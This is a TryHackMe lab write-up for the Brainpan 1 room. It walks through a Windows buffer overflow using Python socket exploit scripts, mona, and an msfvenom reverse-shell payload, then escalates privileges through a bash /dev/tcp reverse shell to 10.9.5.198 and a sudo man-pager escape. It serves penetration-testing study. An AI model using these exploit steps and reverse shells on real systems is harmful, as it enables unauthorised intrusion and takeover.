TryHackMe: Brainpan 1 by TryHackMe
Brainpan is perfect for OSCP practice and has been highly recommended to complete before the exam. Exploit a buffer overflow vulnerability by analyzing a Windows executable on a Linux machine. If you get stuck on this machine, don't give up (or look at writeups), just try harder.

We have a /[REDACTED] directory, let's take a look in there
Let's grab [REDACTED] and head over to our Windows box with Immunity and Mona installed.
- Immunity Debugger - https://www.immunityinc.com/products/debugger/
- Mona - https://github.com/corelan/mona
Drop
mona.pyinto thepycommandsfolder of ImmunityC:\Program Files (x86)\Immunity Inc\Immunity Debugger\PyCommands\

After starting Immunity and opening [REDACTED] we use create_pattern.rb to generate some garbage to throw at it

This crashes the program with an EIP of [REDACTED], using pattern_offset we can find the the offset of [REDACTED]
╰─⠠⠵ /opt/metasploit-framework/embedded/framework/tools/exploit/pattern_offset.rb -l 5000 -q [REDACTED]
[*] Exact match at offset [REDACTED]
Using this value let's see if we can control the EIP
#!/usr/bin/env python3
import socket, sys
ip = "windows" # Or use sys.argv[1] to take cmdline arg
port = 9999 # Or use sys.argv[2] to take cmdline arg
payload = b'A'*[REDACTED]+b'B'*4+b"C"*99
print("Attempting to connect to chat server and send payload")
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
print("Connected")
except Exception as e:
print("Error Connecting")
print(e)
sys.exit(1)
print("Attempting to Send payload")
try:
s.recv(1024)
print("Sending payload")
s.send(payload + b'\r\n')
s.recv(1024)
except Exception as e:
print("Error sending data")
print(e)
sys.exit(1)
finally:
print("Closing socket")
s.close()
Using this we can see that we do control the EIP by filling it with BBBB or 42424242.
Ok, now we need to look for some bad chars
#!/usr/bin/env python3
import socket, sys
ip = "windows" # Or use sys.argv[1] to take cmdline arg
port = 9999 # Or use sys.argv[2] to take cmdline arg
payload = b'A'*[REDACTED]+b'B'*4
badchars = ( b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"

finally:

s.close()
Looking in Immunity it looks like the bad char is \x[REDACTED]. using mona we can now look for JMP to try to exploit.
!mona find -s "\xff\xe4" -m [REDACTED]
We find only one at the address [REDACTED] which we need to transform ( Hex it and reverse it ) to [REDACTED]. Using this let's see if we can get a shell back.
We use
msfvenom -p windows/shell_reverse_tcp LHOST=IP-ADDRESS LPORT=PORT -b "BadChars" -f cto generate our payload
#!/usr/bin/env python3
import socket, sys
ip = "windows" # Or use sys.argv[1] to take cmdline arg

Escalate your privileges to root.
Now we have access it looks like we are inside a wine instance. Browsing around z:\ we can see it is the linux filesystem. If we cd into z:\bin we can run bash and the python -c 'import pty;pty.spawn("/bin/bash")' to get a usable shell. I then decide to get a reverse shell using Z:\home>/bin/bash -i >& /dev/tcp/10.9.5.198/4444 0>&1 outside of the buffer overflow shell just incase I crash anything.

Now we have a stable shell we can try sudo -l

Matching Defaults entries for puck on this host:

User puck may run the following commands on this host:

Running this command we get
puck@brainpan:/home$ sudo /home/anansi/bin/anansi_util
Usage: /home/anansi/bin/anansi_util [action]
Where [action] is one of:
- network
- proclist
- manual [command]
Let's try manual
puck@brainpan:/home$ sudo /home/anansi/bin/anansi_util manual
No manual entry for manual
Ok lets try manual bash
puck@brainpan:/home$ sudo /home/anansi/bin/anansi_util manual bash
Ok, we have the bash man page... let's see if the pager in use by man will allow us to use ! to execute commands.
puck@brainpan:/home$ sudo /home/anansi/bin/anansi_util manual bash
No manual entry for manual

Done
That was another good Buffer OverFlow room, the escape from wine stumped me at the end for a bit but was good fun.
With that I have completed the Offensive Pentesting path
